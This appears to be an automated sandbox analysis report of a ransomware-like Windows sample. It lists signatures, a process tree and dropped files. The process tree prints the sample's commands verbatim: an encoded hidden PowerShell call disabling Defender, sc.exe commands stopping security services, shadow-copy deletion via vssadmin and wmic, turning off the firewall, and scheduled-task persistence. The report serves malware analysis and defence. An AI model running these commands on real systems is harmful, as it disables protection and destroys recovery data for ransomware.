Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    22/04/2026, 03:15

General

  • Target
    2026-04-22_a28753e43a7d755bf7799283eb4ec845_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 52KB
  • Sample260422-dset9sbz2v
  • SHA256 7eb8dac6253c64b43d7bd9499d14e7a4af4a1eda578d87a0dbff3af627d4224c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects command variations typically used by ransomware 2 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 25 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-22_a28753e43a7d755bf7799283eb4ec845_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-22_a28753e43a7d755bf7799283eb4ec845_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2696
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4548
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4628
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2176
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:5112
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4768
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:640
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:4540
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4520
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1836
      • C:\Users\Admin\AppData\Local\Temp\2026-04-22_a28753e43a7d755bf7799283eb4ec845_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-04-22_a28753e43a7d755bf7799283eb4ec845_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:4684
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:2704
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-04-22_a28753e43a7d755bf7799283eb4ec845_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3680
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            3⤵
              PID:4684
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3584
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              3⤵
              • Interacts with shadow copies
              PID:2632
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3716
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2176
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              3⤵
              • Gathers system information
              PID:3704
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4628
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:3304
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5112
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3312
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2468
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3732
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:3480
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1840
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:4760
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4188
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                • Suspicious use of AdjustPrivilegeToken
                PID:4656
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-04-22_a28753e43a7d755bf7799283eb4ec845_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:956
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
                PID:1116
              • C:\Windows\System32\notepad.exe
                "C:\Windows\System32\notepad.exe"
                2⤵
                  PID:4996
                • C:\Windows\System32\vssadmin.exe
                  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                  2⤵
                  • Interacts with shadow copies
                  PID:1108
                • C:\Windows\System32\wbem\WMIC.exe
                  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1772
                • C:\Windows\System32\net.exe
                  "C:\Windows\System32\net.exe" stop srservice
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:432
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:1032
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:3616
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:1420
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:4548
                • C:\Windows\system32\LogonUI.exe
                  "LogonUI.exe" /flags:0x0 /state0:0xa39a9855 /state1:0x41c64e6d
                  1⤵
                  • Drops desktop.ini file(s)
                  • Modifies data under HKEY_USERS
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:840
                • C:\Users\Admin\AppData\Local\Temp\2026-04-22_a28753e43a7d755bf7799283eb4ec845_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  C:\Users\Admin\AppData\Local\Temp\2026-04-22_a28753e43a7d755bf7799283eb4ec845_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  1⤵
                    PID:312
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:748

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        LockScreen___1920_1080_notdimmed.jpg

                        • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-312252282-3884318443-358092420-1000\ReadOnly\LockScreen_O\LockScreen___1920_1080_notdimmed.jpg
                        • Size 488KB
                        • SHA256 60fdd7bb975471662f6a6c1b27f638306dd4525777f414e88bbaea65080fe0e1
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 70KB
                        • SHA256 8cb020f0b17340fdba9b3b60bf76b1e468484ed9ad18cef189166df7bbeadc90
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 69KB
                        • SHA256 72dbe9d6fc9ee3c53d7ef0f84c78c4af650d2c1951a4df82f82035d15737c01e
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        2026-04-22_a28753e43a7d755bf7799283eb4ec845_destroyer_elex_glassworm_ngrbot_wannacry.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-04-22_a28753e43a7d755bf7799283eb4ec845_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                        • Size 660B
                        • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_qvz14cpn.fyv.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qvz14cpn.fyv.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 309B
                        • SHA256 16c359ba4161fa41facdbdc0c09c73e80dace6ac16cbd0e81419ad98c6626aef
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 310B
                        • SHA256 76bd9914655213cdf054a432e850d0cef26c6fb9760f56d572570a40451b124b
                        • MD5 SHA1 SHA512 TLSH

                        sysupdate.exe

                        • Path C:\Windows\System32\sysupdate.exe
                        • Size 52KB
                        • SHA256 7eb8dac6253c64b43d7bd9499d14e7a4af4a1eda578d87a0dbff3af627d4224c
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/748-2285-0x000002738F3B0000-0x000002738F459000-memory.dmp

                        memory/808-2260-0x0000000001580000-0x000000000158C000-memory.dmp

                        memory/808-1-0x0000000002C50000-0x0000000002C60000-memory.dmp

                        memory/808-15-0x000000001E6C0000-0x000000001EBE8000-memory.dmp

                        memory/808-0-0x0000000000C30000-0x0000000000C44000-memory.dmp

                        memory/808-2261-0x000000001CE50000-0x000000001CEF9000-memory.dmp

                        memory/808-14-0x000000001D7D0000-0x000000001D992000-memory.dmp

                        memory/808-2263-0x0000000002C50000-0x0000000002C60000-memory.dmp

                        memory/840-2262-0x00000240ECD90000-0x00000240ECE39000-memory.dmp

                        memory/1108-2275-0x0000013AF1BE0000-0x0000013AF1C89000-memory.dmp

                        memory/1116-2254-0x000001B387E70000-0x000001B387E7C000-memory.dmp

                        memory/1116-2253-0x000001B387EB0000-0x000001B387F59000-memory.dmp

                        memory/1836-27-0x0000022B72280000-0x0000022B72329000-memory.dmp

                        memory/2632-2264-0x000001DBE3090000-0x000001DBE3139000-memory.dmp

                        memory/2696-32-0x000001BEF5210000-0x000001BEF521C000-memory.dmp

                        memory/2696-31-0x000001BEF5080000-0x000001BEF5129000-memory.dmp

                        memory/2696-24-0x000001BEF5990000-0x000001BEF59B2000-memory.dmp

                        memory/2704-2242-0x0000022D793D0000-0x0000022D793DC000-memory.dmp

                        memory/2704-2241-0x0000022D79310000-0x0000022D793B9000-memory.dmp

                        memory/3304-2278-0x0000019ADD3D0000-0x0000019ADD479000-memory.dmp

                        memory/3704-2280-0x000002A17BB00000-0x000002A17BBA9000-memory.dmp

                        memory/4996-2265-0x000001FE52350000-0x000001FE52351000-memory.dmp

                        memory/4996-2277-0x000001FE50690000-0x000001FE50739000-memory.dmp